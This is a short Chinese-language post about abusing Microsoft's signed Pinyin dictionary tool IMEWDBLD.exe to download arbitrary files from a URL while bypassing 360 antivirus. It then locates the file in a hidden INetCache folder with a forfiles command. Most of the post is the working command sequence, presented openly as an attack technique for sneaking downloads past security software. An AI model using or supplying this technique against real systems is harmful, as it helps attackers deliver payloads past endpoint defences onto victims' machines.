IMEWDBLD.exe ByPass360 下载文件

IMEWDBLD.exe是微软拼音的开放扩展字典模块，主要用来下载字典文件，在Windows中主要存在路径为：

可以通过C:\Windows\System32\IME\SHARED\IMEWDBLD.exe <URL>进行下载任意文件，但是下载的路径为隐藏的文件/文件夹

并且路径为;

C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]

这个路径查看为空文件夹的

所以利用手法是：

下载文件：

C:\Windows\System32\IME\SHARED\IMEWDBLD.exe <URL>

错误忽略就行。

2.查找文件存储路径

forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path"

参数介绍 /P 表示开始搜索的路径。默认文件夹是当前工作的 目录 (.)。 /S 指导 forfiles 递归到子目录。像 "DIR /S"。 /M 根据搜索掩码搜索文件。默认搜索掩码是 '*'。 /C 表示为每个文件执行的命令。命令字符串应该用双引号括起来。 @path 返回文件的完整路径